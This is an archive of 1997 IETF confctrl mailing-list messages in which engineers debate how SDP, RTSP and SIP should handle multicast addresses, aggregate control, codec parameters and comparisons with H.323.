Message-Id: <Pine.WNT.3.95.970912135135.-329965E-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob,

> My hesitations is that I'm wondering if there are there precedence problems
> with having both an RTSP URL, and a direct connection multicast address.

I don't think there is a problem with precedence in the SDP file
itself, because they are two different kinds of information.  There is
a question of precedence between the c= address and the SETUP
transport address.  However, the same question of precedence exists
between the m= port number and the SETUP port number, so it's not a
new problem.  The SDP spec needs to say.
							-- Steve


From majordom@ISI.EDU  Fri Sep 12 08:08:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA07188>; Fri, 12 Sep 1997 16:03:01 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA07182>; Fri, 12 Sep 1997 16:02:59 -0700
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.42])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA29232
	for <confctrl@ISI.EDU>; Fri, 12 Sep 1997 16:02:57 -0700 (PDT)
Received: by INET-02-IMC with Internet Mail Service (5.0.1459.27)
	id <SZM8CS8K>; Fri, 12 Sep 1997 16:00:37 -0700
Message-Id: <114DB67712DCD011A63500805F385DB28E49A9@RED-38-MSG.dns.microsoft.com>
From: Kaya Bekiroglu <t-kayab@microsoft.com>
To: "'sumisu@nttlabs.com'" <sumisu@nttlabs.com>
Cc: "'confctrl@isi.edu'" <confctrl>
Subject: RE: SIP URLs and multicast sessions - a question 
Date: Fri, 12 Sep 1997 15:08:44 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1459.27)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I was confused - it *is* possible to include a message body within a URL
(must be too much coffee).  Still, the ability to obtain the multicast
media dynamically would be a nice feature, especially since common
codecs, and available bandwidth, could easily change.


	You can make an http accessible object with contents of SDP.  A
helper
	application can be used to parse the MIME type (x-sdp or
something)
	and launch your conferencing tools.

	No need for SIP.  I think this is how Precept and others are
already
	doing their web-based program guides.

	js

	|
	|I don't quite understand a passage in the latest draft of the
SIP
	|specification.  On page 22, this example SIP URL is given:
	|
	|	For example, to specify to call j.doe@big.com using
multicast to
	|239.255.255.1 with a ttl of 15, the following URL would be
used:
	|
	|	sip://j.doe@big.com;maddr=239.255.255.1;ttl=15
	|
	|My understanding from this specification is that a URL with a
multicast
	|parameter (such as the one above) can only be used to INITIATE
a
	|multicast conference.  Is there any mechanism in SIP to allow a
URL,
	|perhaps embedded in a web page, to give enough information to
allow a
	|user to join an already existing multicast conference?  I would
assume
	|the answer is no, since SDP descriptors cannot be contained in
a SIP
	|URL.  Is this true?  Can the OPTIONS command, sent to a
multicast
	|address, be used to query the other participants for the common
media
	|for the conference in question (assuming the user can
authenticate
	|himself to a conference participants satisfaction)?  This would
seem to
	|me to be a reasonable addition to the protocol.
	|
	|Any information would be greatly appreciated.
	|
	|---
	|Kaya Bekiroglu
	|Program Manager, TAPI 3.0
	|Windows NT Networking
	|

From majordom@ISI.EDU  Fri Sep 12 11:26:40 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA14952>; Fri, 12 Sep 1997 18:27:13 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA14946>; Fri, 12 Sep 1997 18:27:12 -0700
Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA05290
	for <confctrl@ISI.EDU>; Fri, 12 Sep 1997 18:27:11 -0700 (PDT)
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id SAA06004
	for <confctrl@ISI.EDU>; Fri, 12 Sep 1997 18:26:39 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA19274;
          Fri, 12 Sep 1997 18:26:40 -0700
Message-Id: <3419EBD0.FEEFD292@netscape.com>
Date: Fri, 12 Sep 1997 18:26:40 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: Stephen Casner <casner@precept.com>
Cc: mmusicwg <confctrl>, Rob Lanphier <robla@prognet.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Indirection, aggregation in SDP/RTSP - reaching closure
X-Priority: 3 (Normal)
References: <Pine.PCW.3.95.970912005319.11462E-100000@revelstoke.precept.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Stephen Casner wrote:

> > Ideal response : there is something wrong with the file.
> ...
> > Ideal response : I cannot handle this file, its out of my
> > league.
>
> How significant is the difference in these responses?

The difference is not significant, but is there. I'm coming from the
view that I'd rather have a client know what to expect  in the file and
then do consistency checking, rather than having it figure out what kind
of session  it is in the first place. Also, things like a null c= field,
or missing c= field, another presence of another letter could also
accomplish pretty much the same in my opinion and will suffice. So I
withdraw the need for the extra attribute.

> > > Right.  In particular, the first SDP file might consist of only
> the
> > > minimum more than the aggregate URL, with no media information at
> all.
> >
> > However,  I think such a file should not guarantee aggregate
> control.
> > (ie. in that sense it is a presentation URL, but not an aggregate
> URL).
> > ie. such a URL should preferably  have an identifier other than the
> one
> > used in a description that does have the m= sections. There are
> cases
> > where one may convey the presense of a RTSP presentation(as using
> SDPs
> > time fields that says when it is available), but the presentation
> may or
> > may not be aggregately controlled.
>
> I'm bothered by the change in definition of an RTSP presentation to
> not imply aggregate control.  Although the protocol has gone through
> some transformations as we've discussed aggregate control over the
> last couple of months, we still have the notion that an RTSP URL maps
> to a single RTSP session.  (With aggregate control, multiple URLs may
> be used within one RTSP session for individual stream setup and
> control, but one RTSP URL never results in the creation of more than
> one RTSP session.)  If you want to have an RTSP URL return a DESCRIBE
> response without an aggregate URL but with multiple stream URLs, then
> this property is broken.

It then  becomes impossible to specify a non-aggregate control
presentation in the same way without specifying its media initialization
info.(maybe you can specify a dynamic pt and omit rtpmap - but I dont
like this option). Why the difference ?

> On the other hand, having an HTTP URL point to an SDP file with
> multiple RTSP stream URLs and no aggregate control seems OK.  Maybe
> that seems like a fine distinction, but it's also a distinction we
> upheld for the case where the stream URLs are on different hosts (we
> won't allow that in a DESCRIBE response now).  Having the DESCRIBE
> response cause the creation of multiple RTSP sessions seems akin to
> indirection.

It is not going to be possible to monitor the source of such
decsriptions, I think. That is why a source-independant way to deal with
it is useful. Even if that argument does not hold good, the relationship
to http/html (for example) should be independant of  the possibility of
aggregate control.In effect, what we are saying here that one  may get a
SDP description for an aggregate-control session by DESCRIBE, but not so
for a non-aggregate case. While I will agree there is no "RTSP" relation
between the streams in a presentation that does not have aggregate
control, making this distinction in the source of the SDP will not do us
good.

I guess there are two things we are trying to preserve :-
(second attributable to myself atleast)
- the "one RTSP URL never results in more RTSP session" elegance and
consistency.
-That the presentation abstraction is maintained in some sense. Atleast
from _high-level_ client operation and authoring point of view, whether
a presentation has aggregate control or not should not matter.

I think these are solvable, since more than one URL can be used within a
single session (pending acceptance and clarification in the document -
the document does not really preclude it) _regardless_ of whether
aggregate control is allowed or not. This is no different in the RTSP
sense than  using non-aggregate control in a case where both aggregate
and non-aggregate control are allowed. We necessarily exclude cases
where control channels have to be set up made to more than one server
and make them the 1-n-n case - I  agree that descriptions  pertaining to
such things should necessarily be prohibited in the DESCRIBE response.
(There is also the case where a client requests two random files on the
same session - in this case the server does not refuse and the client
just catches fire).

I guess I'm also saying that having a presentation URL whose only
purpose in life is to be DESCRIBEd is not bad either. That also explains
why I am seeing the use of SDP as a total description of a RTSP
presentation, independant of whether aggregate control is allowed or
not, which brings me to the last point -


What is the usefulness in having a SDP description that does not specify
stream URLs compared to just having a rtsp URL that you can do describe
on ?  I'd say none. One might argue that this allows  just specifying
that a session exists at a certain time, without providing the
initialization info. I have doubts as to whether one should provide for
such a case. If a source is willing to say a session exists  at a
certain time, it must vouch for its initialization info and say what
media are in the session,  in keeping with regular SDP usage. The other
option is not to specify the stream URL in a m= section, but rather
specify it seperately at the session-level  and then make some
correlation - this clearly seperates out the init info and the control
info.

--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (650) 937 3129
-----------------------------------------------------------------



From majordom@ISI.EDU  Sun Sep 14 16:24:53 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA17107>; Sun, 14 Sep 1997 17:24:59 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA17101>; Sun, 14 Sep 1997 17:24:57 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA14034
	for <confctrl@ISI.EDU>; Sun, 14 Sep 1997 17:24:56 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA01199; Sun, 14 Sep 1997 20:24:54 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA01632; Sun, 14 Sep 1997 20:24:54 -0400 (EDT)
Message-Id: <341C8055.B30D2AD@cs.columbia.edu>
Date: Sun, 14 Sep 1997 20:24:53 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Kaya Bekiroglu <t-kayab@microsoft.com>
Cc: "'confctrl@isi.edu'" <confctrl>
Subject: Re: SIP URLs and multicast sessions - a question
References: <114DB67712DCD011A63500805F385DB28E4994@RED-38-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Kaya Bekiroglu wrote:
> 
> I don't quite understand a passage in the latest draft of the SIP
> specification.  On page 22, this example SIP URL is given:
> 
>         For example, to specify to call j.doe@big.com using multicast to
> 239.255.255.1 with a ttl of 15, the following URL would be used:
> 
>         sip://j.doe@big.com;maddr=239.255.255.1;ttl=15
> 
> My understanding from this specification is that a URL with a multicast
> parameter (such as the one above) can only be used to INITIATE a
> multicast conference.  Is there any mechanism in SIP to allow a URL,
> perhaps embedded in a web page, to give enough information to allow a
> user to join an already existing multicast conference?  I would assume
> the answer is no, since SDP descriptors cannot be contained in a SIP
> URL.  Is this true? 

Not quite. This seems to come up periodically; I added it to the
fledgling SIP FAQ at http://www.cs.columbia.edu/~hgs/sip


 Can the OPTIONS command, sent to a multicast
> address, be used to query the other participants for the common media
> for the conference in question (assuming the user can authenticate
> himself to a conference participants satisfaction)?  This would seem to
> me to be a reasonable addition to the protocol.
> 
> Any information would be greatly appreciated.
> 
> ---
> Kaya Bekiroglu
> Program Manager, TAPI 3.0
> Windows NT Networking

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Sun Sep 14 17:09:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA17946>; Sun, 14 Sep 1997 18:10:01 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA17940>; Sun, 14 Sep 1997 18:10:00 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA14728
	for <confctrl@ISI.EDU>; Sun, 14 Sep 1997 18:09:59 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id VAA03017; Sun, 14 Sep 1997 21:09:58 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id VAA01855; Sun, 14 Sep 1997 21:09:52 -0400 (EDT)
Message-Id: <341C8AE0.47C9A83A@cs.columbia.edu>
Date: Sun, 14 Sep 1997 21:09:52 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl
Subject: Re: "c=IN URL" at media level
References: <3.0.3.32.19970910180629.00c06018@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob Lanphier wrote:
> 

> For folks who suggest that it is possible to have a useful situation where
> a node can act as an RTSP client and pass through the SDP untouched to a
> non-RTSP entity, please spell out that situation so that I can understand
> it (preferably with examples), 'cause I'm just not getting it.

Virtual couch: Most everybody listens to a standard SDP-based
"conference" announcing the Friday night movie. The description also
contains a control (RTSP) line. Clients that understand this line can
use it to "remote-control" the movie, appropriate permission and "floor
control" assumed.

Virtual classroom based on video library: Same, except VCR control is
held by instructor (with RTSP authentication). Students just ignore the
RTSP part.

Henning

From majordom@ISI.EDU  Mon Sep 15 02:08:37 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA04481>; Mon, 15 Sep 1997 09:09:46 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA04475>; Mon, 15 Sep 1997 09:09:45 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com [204.162.36.254])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29874
	for <confctrl@ISI.EDU>; Mon, 15 Sep 1997 09:09:44 -0700 (PDT)
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id JAA20105; Mon, 15 Sep 1997 09:09:08 -0700 (PDT)
Message-Id: <199709151609.JAA20105@mailhost.nttlabs.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Rob Lanphier <robla@prognet.com>, confctrl
Subject: Re: "c=IN URL" at media level 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Sun, 14 Sep 1997 21:09:52 EDT"
References: <3.0.3.32.19970910180629.00c06018@mail.prognet.com>  <341C8AE0.47C9A83A@cs.columbia.edu> 
Date: Mon, 15 Sep 1997 09:08:37 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

|Rob Lanphier wrote:
|> 
|
|> For folks who suggest that it is possible to have a useful situation where
|> a node can act as an RTSP client and pass through the SDP untouched to a
|> non-RTSP entity, please spell out that situation so that I can understand
|> it (preferably with examples), 'cause I'm just not getting it.
|

[ Henning's two examples plus our system: ]

Playback into collaborative session.  One person is the chair, but the
chair can pass - all participants are given the info to join the
(playback) session plus the necessary control (RTSP).  Basically
Henning's "virtual couch."  Of course you could pass around the RTSP
info as part of the floor control protocol if there is one (in our
case it is just informal spoken floor control for now).

js

From majordom@ISI.EDU  Tue Sep 16 02:49:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA26056>; Tue, 16 Sep 1997 09:49:53 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA26045>; Tue, 16 Sep 1997 09:49:51 -0700
Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.23])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA25218
	for <confctrl@isi.edu>; Tue, 16 Sep 1997 09:49:50 -0700 (PDT)
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1459.27)
	id <S9TK4N49>; Tue, 16 Sep 1997 09:51:01 -0700
Message-Id: <114DB67712DCD011A63500805F385DB298FFE3@RED-38-MSG.dns.microsoft.com>
From: Kaya Bekiroglu <t-kayab@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl>
Subject: Advantages of SIP over H.323
Date: Tue, 16 Sep 1997 09:49:45 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1459.27)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I don't want to start a holy war on this list, but I was wondering if
someone has summarized the compelling advantages of SIP over H.323 (if
any) and where I could find such a document.  

Kaya Bekiroglu
Program Manager, TAPI 3.0
Windows NT Networking Group
Microsoft

From majordom@ISI.EDU  Tue Sep 16 09:51:15 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA18561>; Tue, 16 Sep 1997 16:55:38 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA18549>; Tue, 16 Sep 1997 16:55:33 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA17955
	for <confctrl@isi.edu>; Tue, 16 Sep 1997 16:55:33 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id QAA04026;
	Tue, 16 Sep 1997 16:51:40 -0700 (PDT)
Date: Tue, 16 Sep 1997 16:51:15 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Koskelainen Petri NRC/Tre <petri.koskelainen@research.nokia.com>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        "'rem-conf@es.net'" <rem-conf@es.net>
Subject: Re: SDP format for H.263 options
In-Reply-To: <1997Sep12.112945.1751.1063168@nrchub01he.research.nokia.com>
Message-Id: <Pine.WNT.3.95.970916162053.-452929I-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Fri, 12 Sep 1997, Koskelainen Petri NRC/Tre wrote:

> Currently it is not possible to specify any codec specific options
> in SIP/SDP architecture. For example, H.263 has many options and
> parameters which are almost mandatory (it makes no sense to say
> "lets use H.263" without knowledge of its capabilities).
> 
> Best place to include these codec specific parameters in SDP is:
> a=fmtp:<format> <format specific parameters>

I agree that this is the right place to convey additional H.263
parameters for a session.  I presume that these parameter are
instructions to the encoder; that is, except for performance or
implementation constraints, the decoder can tell from the headers what
functions are in use and can decode can decode the stream without
knowing these option settings.

> So, these format speficic parameters must be defined somewhere
> and it seems (like Henning proposed) that the best place to do it,
> is in corresponding RTP mapping draft as an annex.
> Another solution is to make new internet-draft (for every codec).

Not sure what you mean by "mapping draft".  The only example use of
a=fmtp I know of so far is in the Redundant Audio payload format,
recently published as RFC 2198.

> Below is a proposal for H.263 SDP format specific parameter mapping,
> to be included into "RTP Payload Format for H.263 Video Streams" draft.

Since the H.263 payload format spec has also been published now as RFC
2190, it would be necessary to produce a revised RFC to add the format
mapping info.  The way to start that process would be to write an
Internet-Draft specifying the details of the format parameters.  That
could be published as a separate RFC, but more likely it would be
better to publish a new combined RFC.  Since the additional
information would be specifying part of the standard, it would
probably not be an annex or appendix but rather an additional section
of the document.

> m=video 55514 RTP/AVP 34
> a=fmtp 34 CIF=4 QCIF=2/MaxBitRate=1000/SAC/AP
> 
> Syntax above means that H.263 codec with preferred picture size of CIF (with 
> min picture interval of 4) and secondary picture size is QCIF and arithmetic 
> coding and advance prediction are in use and max bitrate decoable by decoder 
> is 100 kbit/s.

There are already SDP fields to specify maximum bandwidth, so I
suspect that should not be included as a codec parameter.  I don't
know enough about the options in H.263 to say whether what you have
proposed is appropriate/sufficient/etc.  Those who know more about
H.263 should chime in.

One simple comment on the text structure is that I think it would be
better to define the options independent of the protocol in which they
would be used (SIP, SAP or something else) and then state the
applicability to particular scenarios.

The SIP spec should address the capability negotiation (or capability
statement if negotiation does not really occur) in an
encoding-independent manner.
							-- Steve


From majordom@ISI.EDU  Wed Sep 17 14:40:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA05582>; Wed, 17 Sep 1997 03:39:58 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA05576>; Wed, 17 Sep 1997 03:39:56 -0700
Received: from sonne.darmstadt.gmd.de (sonne.darmstadt.gmd.de [141.12.62.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA03390
	for <confctrl@isi.edu>; Wed, 17 Sep 1997 03:39:55 -0700 (PDT)
Received: from pc-taler.darmstadt.gmd.de (pc-taler [141.12.60.25])
	by sonne.darmstadt.gmd.de (8.8.7/8.8.5) with SMTP id MAA04180;
	Wed, 17 Sep 1997 12:39:18 +0200 (MET DST)
Message-Id: <341FB38D.541E@darmstadt.gmd.de>
Date: Wed, 17 Sep 1997 12:40:14 +0200
From: Peter Hoermann <peha@darmstadt.gmd.de>
X-Mailer: Mozilla 3.01Gold (Win95; I)
Mime-Version: 1.0
To: Kaya Bekiroglu <t-kayab@microsoft.com>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Advantages of SIP over H.323
References: <114DB67712DCD011A63500805F385DB298FFE3@RED-38-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Kaya Bekiroglu wrote:
> I don't want to start a holy war on this list, but I was wondering if
> someone has summarized the compelling advantages of SIP over H.323 (if
> any) and where I could find such a document.

Hi Kaya,

H.323 embraces lots of standards; comparable with SIP in the MBone
protocol stack are - IMO - H.225.0 (especially Q.931 (call controlling
like SETUP etc.)) and H.245.

But it seems to me that the H.323 people asked themselves already if it
was enough to just initiate a session (like SIP does) and then leave the
rest to the terminals (like it's done by vat, rat and vic in MBone); as
far as I know they call it 'fast call setup' or so and it resembles a
direct invitation (INVITE) with the option (!) to set up a H.245
channel. 

But why not ? As you know RTP always comes with RTCP and there is (at
least a little) control you can work with; I already wondered if the
existing products of the H.323 area are exploiting the RTCP messages
(e.g. for stream control) or aren't they even sending RTCP messages ?

Comments (maybe I'm totally wrong ;-) and hints would be appreciated.

Peter

From majordom@ISI.EDU  Wed Sep 17 02:20:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA16514>; Wed, 17 Sep 1997 09:29:27 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA16508>; Wed, 17 Sep 1997 09:29:26 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com [204.162.36.254])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA13266
	for <confctrl@ISI.EDU>; Wed, 17 Sep 1997 09:29:25 -0700 (PDT)
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id JAA11209; Wed, 17 Sep 1997 09:28:50 -0700 (PDT)
Message-Id: <199709171628.JAA11209@mailhost.nttlabs.com>
To: Stephen Casner <casner@precept.com>
Cc: Rob Lanphier <robla@prognet.com>, mjh@ISI.EDU, confctrl@ISI.EDU
Subject: Re: "c=IN URL" at media level 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Fri, 12 Sep 1997 15:28:27 PDT"
References: <Pine.WNT.3.95.970912135135.-329965E-100000@oak.precept.com> 
Date: Wed, 17 Sep 1997 09:20:42 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

What is the concensus on using m=control ... to convey the RTSP
information?

The spec says "conference control channel", but...

js

From majordom@ISI.EDU  Wed Sep 17 03:00:40 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA17972>; Wed, 17 Sep 1997 10:00:57 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA17966>; Wed, 17 Sep 1997 10:00:56 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA14824
	for <confctrl@ISI.EDU>; Wed, 17 Sep 1997 10:00:55 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA15708
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Wed, 17 Sep 1997 10:00:39 -0700
Message-Id: <3.0.3.32.19970917100040.01244080@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 17 Sep 1997 10:00:40 -0700
To: sumisu@nttlabs.com (Jeffrey D. Smith), Stephen Casner <casner@precept.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: "c=IN URL" at media level 
Cc: mjh@ISI.EDU, confctrl@ISI.EDU
In-Reply-To: <199709171628.JAA11209@mailhost.nttlabs.com>
References: <Your message of "Fri, 12 Sep 1997 15:28:27 PDT">
 <Pine.WNT.3.95.970912135135.-329965E-100000@oak.precept.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 09:20 AM 9/17/97 -0700, Jeff Smith wrote:
>What is the concensus on using m=control ... to convey the RTSP
>information?
>
>The spec says "conference control channel", but...

In the brand new spec (sent to Cynthia about 5 minutes ago), we have it as
a=control.  I hope that was what everyone wanted :)

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Wed Sep 17 04:39:55 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA27339>; Wed, 17 Sep 1997 11:42:01 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA27333>; Wed, 17 Sep 1997 11:41:58 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA20722
	for <confctrl@ISI.EDU>; Wed, 17 Sep 1997 11:41:57 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id LAA05947;
	Wed, 17 Sep 1997 11:40:19 -0700 (PDT)
Date: Wed, 17 Sep 1997 11:39:55 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Rob Lanphier <robla@prognet.com>
Cc: "Jeffrey D. Smith" <sumisu@nttlabs.com>, mjh@ISI.EDU, confctrl@ISI.EDU
Subject: Re: "c=IN URL" at media level 
In-Reply-To: <3.0.3.32.19970917100040.01244080@mail.prognet.com>
Message-Id: <Pine.WNT.3.95.970917113710.-452929A-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> In the brand new spec (sent to Cynthia about 5 minutes ago), we have it as
> a=control.  I hope that was what everyone wanted :)

Yes, m=control would not work because we need a URL for each m=audio,
video, etc. line.
							-- Steve


From majordom@ISI.EDU  Wed Sep 17 12:47:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA03365>; Wed, 17 Sep 1997 13:47:55 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA03359>; Wed, 17 Sep 1997 13:47:53 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA26159
	for <confctrl@ISI.EDU>; Wed, 17 Sep 1997 13:47:51 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id QAA26818; Wed, 17 Sep 1997 16:47:49 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id QAA16260; Wed, 17 Sep 1997 16:47:48 -0400 (EDT)
Message-Id: <342041F3.D3352EDC@cs.columbia.edu>
Date: Wed, 17 Sep 1997 16:47:47 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.03 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Peter Hoermann <peha@darmstadt.gmd.de>
Cc: Kaya Bekiroglu <t-kayab@microsoft.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Advantages of SIP over H.323
References: <114DB67712DCD011A63500805F385DB298FFE3@RED-38-MSG.dns.microsoft.com> <341FB38D.541E@darmstadt.gmd.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I have tried to update my SIP FAQ page at
http://www.cs.columbia.edu/~hgs/sip/faq.html to address this issue.
Since H.323 is somewhat of a moving target, I have taken the approach of
comparing today's H.323 with the current SIP spec. I'm sure I got some
of the H.323 details wrong, so I'd appreciate corrections and additions.

From majordom@ISI.EDU  Wed Sep 17 08:32:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
